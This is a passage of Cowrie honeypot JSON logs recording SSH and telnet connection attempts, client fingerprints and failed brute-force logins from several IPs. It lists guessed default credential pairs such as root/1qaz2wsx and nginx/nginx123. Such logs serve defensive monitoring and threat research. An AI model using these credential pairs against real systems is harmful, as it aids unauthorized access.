0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:01.425848Z","src_ip":"8.218.166.49","session":"5ddaf1609fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37726,"dst_ip":"10.17.0.5","dst_port":22,"session":"29456e83d048","protocol":"ssh","message":"New connection: 47.86.95.62:37726 (10.17.0.5:22) [session: 29456e83d048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:03.688801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:03.791680Z","src_ip":"47.86.95.62","session":"29456e83d048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:04.203955Z","src_ip":"47.86.95.62","session":"29456e83d048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:04.232857Z","src_ip":"8.218.166.49","session":"5ddaf1609fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:05.257054Z","src_ip":"47.86.95.62","session":"29456e83d048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:06.469767Z","src_ip":"47.86.95.62","session":"29456e83d048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37736,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e49f746932f","protocol":"ssh","message":"New connection: 47.86.95.62:37736 (10.17.0.5:22) [session: 8e49f746932f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:09.633570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:09.637552Z","src_ip":"47.86.95.62","session":"8e49f746932f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:09.847023Z","src_ip":"47.86.95.62","session":"8e49f746932f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:10.528803Z","src_ip":"47.86.95.62","session":"8e49f746932f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:10.726926Z","src_ip":"8.218.166.49","session":"5ddaf1609fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:11.741203Z","src_ip":"47.86.95.62","session":"8e49f746932f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41798,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb712370d5c4","protocol":"ssh","message":"New connection: 47.86.95.62:41798 (10.17.0.5:22) [session: fb712370d5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:36.927473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:37.146781Z","src_ip":"47.86.95.62","session":"fb712370d5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:37.149653Z","src_ip":"47.86.95.62","session":"fb712370d5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:38.035494Z","src_ip":"47.86.95.62","session":"fb712370d5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:39.286765Z","src_ip":"47.86.95.62","session":"fb712370d5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.120.188.195","src_port":34284,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d83938dcd52","protocol":"telnet","message":"New connection: 190.120.188.195:34284 (159.203.135.109:23) [session: 1d83938dcd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:39.455555Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36400,"dst_ip":"10.17.0.5","dst_port":22,"session":"176f1950f276","protocol":"ssh","message":"New connection: 47.86.95.62:36400 (10.17.0.5:22) [session: 176f1950f276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:42.418220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:42.423069Z","src_ip":"47.86.95.62","session":"176f1950f276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:42.628887Z","src_ip":"47.86.95.62","session":"176f1950f276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:43.248384Z","src_ip":"47.86.95.62","session":"176f1950f276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:44.457555Z","src_ip":"47.86.95.62","session":"176f1950f276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.53.35.95","src_port":55785,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df02d83a0ab","protocol":"telnet","message":"New connection: 113.53.35.95:55785 (159.203.135.109:23) [session: 9df02d83a0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:45.066671Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d64551e6b1","protocol":"ssh","message":"New connection: 8.218.166.49:36376 (10.17.0.5:22) [session: 03d64551e6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:46.402657Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36414,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd23d9c79fb0","protocol":"ssh","message":"New connection: 47.86.95.62:36414 (10.17.0.5:22) [session: dd23d9c79fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:47.342753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:47.346085Z","src_ip":"47.86.95.62","session":"dd23d9c79fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:47.557762Z","src_ip":"47.86.95.62","session":"dd23d9c79fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:48.203037Z","src_ip":"47.86.95.62","session":"dd23d9c79fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:49.845640Z","src_ip":"47.86.95.62","session":"dd23d9c79fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.457078218460083,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:52.912494Z","src_ip":"190.120.188.195","session":"1d83938dcd52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.197053670883179,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:57.263593Z","src_ip":"113.53.35.95","session":"9df02d83a0ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba010322308","protocol":"ssh","message":"New connection: 8.218.166.49:38988 (10.17.0.5:22) [session: 8ba010322308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:58.005458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:57:58.049520Z","src_ip":"8.218.166.49","session":"8ba010322308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36646,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2f00252d19","protocol":"ssh","message":"New connection: 8.218.166.49:36646 (10.17.0.5:22) [session: 9f2f00252d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:07.881178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:07.886400Z","src_ip":"8.218.166.49","session":"9f2f00252d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"743c8368c345","protocol":"ssh","message":"New connection: 8.218.166.49:36656 (10.17.0.5:22) [session: 743c8368c345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:13.745469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:13.750799Z","src_ip":"8.218.166.49","session":"743c8368c345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:13.956174Z","src_ip":"8.218.166.49","session":"743c8368c345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7e6859f1b96","protocol":"ssh","message":"New connection: 47.86.95.62:39536 (10.17.0.5:22) [session: d7e6859f1b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:21.658769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:21.663697Z","src_ip":"47.86.95.62","session":"d7e6859f1b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:21.885551Z","src_ip":"47.86.95.62","session":"d7e6859f1b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:23.076450Z","src_ip":"47.86.95.62","session":"d7e6859f1b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:23.335254Z","src_ip":"8.218.166.49","session":"743c8368c345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:24.290974Z","src_ip":"47.86.95.62","session":"d7e6859f1b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39548,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d24fbc67f8","protocol":"ssh","message":"New connection: 47.86.95.62:39548 (10.17.0.5:22) [session: 33d24fbc67f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:28.176694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:28.181865Z","src_ip":"47.86.95.62","session":"33d24fbc67f8","protocol":"ssh"}
